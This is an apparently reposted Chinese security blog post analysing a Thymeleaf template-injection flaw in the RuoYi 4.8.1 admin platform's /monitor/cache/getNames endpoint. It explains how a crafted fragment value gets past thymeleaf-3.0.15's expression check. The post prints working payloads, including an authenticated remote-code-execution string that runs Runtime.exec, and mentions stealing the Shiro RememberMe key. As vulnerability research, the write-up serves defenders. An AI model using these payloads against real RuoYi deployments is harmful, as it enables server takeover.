若依4.8.1模板注入学习

admin 2025-12-22 03:47:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了若依(RuoYi)4.8.1版本中存在的Thymeleaf模板注入漏洞,该漏洞位于CacheController的/monitor/cache/getNames接口,由于fragment参数未充分过滤导致。尽管thymeleaf-3.0.15版本增加了安全检查机制,但攻击者可通过特定格式__|$${…}|__::.x绕过限制,实现任意代码执行。文章提供了详细的代码审计过程和RCE攻击payload,建议相关系统管理员及时升级或修复此漏洞。 综合评分: 89 文章分类: 漏洞分析,代码审计,WEB安全,渗透测试,漏洞POC


cover_image

若依4.8.1模板注入学习

原创

道玄安全

道玄网安驿站

2025年12月21日 07:00 上海

 thymeleaf-3.0.15安全绕过。

    

PS:有内网web自动化需求可以B站私信,公众号私信回复不及时

01

Thymeleaf注入

源码地址:

https://gitee.com/y_project/RuoYi/repository/blazearchive/v4.8.1.zip?Expires=1766198312&Signature=meKL2XUKfzUXSuKEoqj8rIq1QLS50EneJQLkxFMjwIQ%3D

源码部署参考之前的方法:

https://mp.weixin.qq.com/s/9C4NVOV7UMYRt7Dq924cTQ

1.漏洞描述与复现

    若依(RuoYi)是一套基于Spring Boot + Shiro + Thymeleaf的快速开发平台,广泛应用于企业后台管理系统。在版本4.8.1中,存在一个严重的  Thymeleaf模板注入(SSTI)漏洞 。

    该漏洞位于  CacheController.java 控制器的  /monitor/cache/getNames 接口,  fragment 参数未对用户输入进行充分过滤。尽管新版增加了黑名单机制拦截危险操作,但攻击者可通过特定格式  __|$${...}|__::.x 绕过限制,实现任意代码执行。漏洞代码片段:

@RequiresPermissions("monitor:cache:view")@PostMapping("/getNames")public String getCacheNames(String fragment, ModelMap mmap)    {        mmap.put("cacheNames", cacheService.getCacheNames());        return prefix + "/cache::" + fragment;}

通过此SSTI漏洞,攻击者可获取Shiro框架的RememberMe加密密钥,进而利用Shiro反序列化漏洞实现远程代码执行(RCE),完全控制受影响服务器。

根本原因:未受控的 fragment 参数直接传入模板解析器

攻击者完全可控的 fragment 参数,被直接拼接到视图路径(return 语句)中,或直接作为视图名称返回。

在Spring MVC配置中,如果视图解析器配置为 ThymeleafViewResolver,并且当返回的字符串不包含显式的重定向或转发前缀(如 redirect: 或 forward:)时,Spring会将其视为一个Thymeleaf模板文件名去解析。

但这里的 fragment 参数并不是一个合法的模板文件路径,而是一段Thymeleaf表达式

RCE表达式(需登陆认证)

fragment=__|$${ ''.getClass().forName('org.'%2b'springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.xx

2.代码审计

要想理解漏洞,那肯定要去了解poc的组成,为什么要这么写?首先我们让AI分析漏洞代码的逻辑作用:

这段代码是Spring MVC 控制器中的一个接口方法,核心作用是:

  1. 对访问权限做控制,仅允许拥有 monitor:cache:view 权限的用户访问;
  2. 接收 POST 请求(路径/getNames),获取系统中所有缓存名称;
  3. 将缓存名称数据传递到视图层,并返回指定的 Thymeleaf 页面片段,实现页面局部渲染。

通过以上分析知道了控制输入点是fragment参数,并且需要权限,所以需要登陆认证;其次我们需要知道在4.8.1中对模板注入攻击的防护是怎么样写的,查看源码中使用的是thymeleaf-3.0.15版本,那么payload肯定就是要绕开这个版本的限制,查看大佬们的资料,发现了thymeleaf-3.0.15新增了的检查代码逻辑containsExpression如下:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
private static boolean containsExpression(final String text) { &nbsp; &nbsp; &nbsp;final int textLen = text.length(); &nbsp; &nbsp; &nbsp;char c; &nbsp; &nbsp; &nbsp;boolean expInit = false; &nbsp; &nbsp; &nbsp;for (int i = 0; i < textLen; i++) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;c = text.charAt(i); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (!expInit) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (c == '$' || c == '*' || c == '#' || c == '@' || c == '~') { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;expInit = true; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} else { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if (c == '{') { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;return true; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} else if (!Character.isWhitespace(c)) { &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;expInit = false; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp;} &nbsp; &nbsp; &nbsp;return false; &nbsp;}

丢给AI分析一波:

这段代码的核心作用是检查字符串 text 中是否包含特定格式的表达式语法,本质是识别以 $*#@~ 开头、紧跟 {(左大括号)的字符组合(中间可允许空白字符)。简单来说:只要字符串中存在${,*{,#{,@{,~{(或中间夹空格)的格式,方法就返回 true,否则返回 false

其对requestURI , paramValue做了检测, 检测到表达式后抛出错误 ,但实际上这个检测并不严谨, 当检测到expInit字符时, 判断逻辑是后面紧跟的字符是不是 {: 如果是{则认为检测到了表达式, 如果不是{, 当其为空格时继续检测下一个字符是不是{, 不为空格则认为没有检测到表达式, 问题在于第一个expInit字符后面的字符被拿去判断是否为{, 对其是否为expInit字符的检测就被跳过了,那我们其实可用构造出这样的payload逃过检测:

ounter(lineounter(line$任意字符{}&nbsp;$${}

|n4c1, ${…}|, 其中的表达式${...}可以被执行,因此可以构造:

ounter(line
__|$${#response.addHeader("x-cmd","n4c1")}|__::.x

这样的payload实际上等价于
ounter(line
__'$' + ${#response.addHeader("x-cmd","n4c1")}__

但当尝试rce时其实是失败的, 3.0.15这个版本把SpringStandardExpressionUtils中把之前的containsSpELInstantiationOrStatic换成了containsSpELInstantiationOrStaticOrParam, 并且对检查逻辑进行了加强, 不允许 T()``new xxx``T ()``param这样的表达式内容出现, 但依然可以利用类似于沙箱逃逸的方法来绕过,成功RCE:

fragment=__|$${&nbsp;''.getClass().forName('org.'%2b'springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}__::.xx

以下是AI对这个payload的解析:

| | | | | | | | | | | | | | | | | | | | | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | — | | | 部分 | 具体含义 | | | — | — | — | | fragment=__ | $${ … }__::.xx| 整体是向&nbsp;fragment&nbsp;参数传入恶意内容,核心是中间的&nbsp;$${ … }&nbsp;包裹的 SPEL 表达式 | |”.getClass().forName(‘org.springframework.expression.spel.standard.SpelExpressionParser’)| 通过空字符串获取 Class 对象,反射加载 SPEL 表达式解析器类(绕过直接类名书写) | | |.newInstance().parseExpression(“…”)| 实例化解析器,解析内部嵌套的恶意 SPEL 表达式 | | |”.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘calc’)| 嵌套的核心恶意逻辑:1. 通过空字符串反射获取&nbsp;Runtime&nbsp;类;2. 调用&nbsp;getRuntime().exec(‘calc’)&nbsp;执行系统命令(Windows 打开计算器);(注:%2b&nbsp;是 URL 编码的&nbsp;+,用于拼接字符串&nbsp;org.&nbsp;+&nbsp;springframework…,绕过可能的关键词过滤) | | |__::.xx| 后缀无关字符,仅用于凑格式,核心攻击逻辑在&nbsp;$${ … }` 中 | | |

到这里其实已经看出来漏洞的原因,是因为thymeleaf-3.0.15的安全措施被绕过,并且找到了ruoyi-4.8.1中调用的参数fragment,所以才可以直接RCE。

参考资料:

https://mp.weixin.qq.com/s/uxvGbO4biM87DVSXA_ZlQwhttps://mp.weixin.qq.com/s/9al4DhNb_QW6zhpfo-iRFAhttps://mp.weixin.qq.com/s/qANoHcYly90XVpst7T4Oqwhttps://mp.weixin.qq.com/s/8FKne1kSDjSzZZ8b9GGx0Qhttps://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#literal-substitutionshttps://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html

免责声明:

本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。

第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助

第十二条:  国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。

第十三条:  国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:道玄网安驿站 道玄安全《若依4.8.1模板注入学习》

评论:0   参与:  0